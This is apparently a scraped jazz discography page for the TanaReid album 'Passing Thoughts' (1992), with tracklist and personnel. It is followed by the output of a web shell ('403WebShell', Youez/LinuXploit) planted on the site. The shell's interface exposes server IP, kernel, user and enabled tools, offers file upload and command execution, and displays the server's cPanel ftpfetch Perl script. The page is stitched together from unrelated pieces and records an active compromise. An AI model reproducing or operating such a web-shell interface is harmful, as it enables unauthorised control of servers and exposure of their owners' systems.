TanaReid

Passing Thoughts

Concord (1992)

Available at the following outlets:

You can contact Rufus directly to order CDs.
For US orders: $20 including shipping or add $10 for priority shipping.
For International: Please inquire for shipping rates.

Tracklist
  1. Hotel Le Hot
  2. City Slicker
  3. Heroes
  4. Cheek To Cheek
  5. Sophisticated Lady/Prelude To A Kiss
  6. Hope, For Now
  7. Passing Thoughts
  8. Light Blue
  9. It’s The Magical Look In Your Eyes
  10. Scufflesytie
Personnel

Rufus Reid – Bass
Akira Tana – Drums
Dan Faulk – Tenor Saxophone
Rob Schneiderman – Piano
Craig Bailey – Alto Saxophone
Guilherme Franceo – Congas, Percussion

Explore Discography
403WebShell
403Webshell
Server IP : 23.235.221.107  /  Your IP : 216.73.216.166
Web Server : Apache
System : Linux drums.jazzcorner.com 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : rreid ( 1011)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /scripts/ftpfetch
#!/usr/local/cpanel/3rdparty/bin/perl

use Net::FTP;

my (%ARGS) = parseargv();

if ( $ARGS{user} eq "" ) {
    die "Sorry, you must specify a user to login to the remote server as.";
}
if ( $ARGS{host} eq "" ) {
    die "Sorry, you must specify a remote server.";
}
if ( $ARGS{srcfile} eq "" ) {
    die "Sorry you must specify a source file.\n";
}
if ( $ARGS{destfile} eq "" ) {
    die "Sorry you must specify a destfile file.\n";
}
if ( $ARGS{port} eq "22" ) {
    print "Assuming port 21 since 22 was specified!\n";
    $ARGS{port} = 21;
}

my $pass = <STDIN>;
chomp($pass);

if ( my $pid = fork() ) {
    while ( waitpid( $pid, 1 ) != -1 ) {
        print ".\n";
        sleep(1);
    }
}
else {
    my $ftp;
    if ( $ARGS{'port'} ne "" ) {
        $ftp = Net::FTP->new( $ARGS{host}, Debug => 1, Passive => 1, Port => $ARGS{'port'} )
          || die "Cannot connect to $ARGS{host}:$ARGS{port} $@";
    }
    else {
        $ftp = Net::FTP->new( $ARGS{host}, Debug => 1, Passive => 1 )
          || die "Cannot connect to $ARGS{host}:21:  $@";
    }
    $ftp->login( $ARGS{user}, $pass ) || die "Cannot login ", $ftp->message;
    my (@FINFO) = split( /\//, $ARGS{srcfile} );
    my $file;
    my $dir;
    if ( $ARGS{srcfile} =~ /^\// ) {
        shift(@FINFO);    #/
        shift(@FINFO);    #home
        shift(@FINFO);    #user
    }
    $file = pop(@FINFO);
    $dir  = join( "/", @FINFO );
    $ftp->cwd($dir) || die "Cannot change working directory ", $ftp->message;

    my (@DEST)   = split( /\//, $ARGS{destfile} );
    my $destfile = pop(@DEST);
    my $destdir  = join( "/", @DEST );
    if ( $destdir ne "" ) {
        chdir($destdir);
    }
    if ( $destfile ne '.' ) {
        $ftp->get( $file, $destfile ) || die "get failed ", $ftp->message;
    }
    else {
        $ftp->get($file) || die "get failed ", $ftp->message;
    }
    $ftp->quit();
    exit();
}

sub parseargv {
    my (%ARGS);
    while ( $#ARGV != -1 ) {
        $_ = $ARGV[0];
        if (/^\-\-/) {
            my $arg = shift(@ARGV);
            $arg =~ s/^\-\-//g;
            $arg =~ tr/[A-Z]/[a-z]/;
            my $value = shift(@ARGV);
            $ARGS{$arg} = $value;
        }
        else {
            last;
        }
    }
    return (%ARGS);
}

Youez - 2016 - github.com/yon3zu
LinuXploit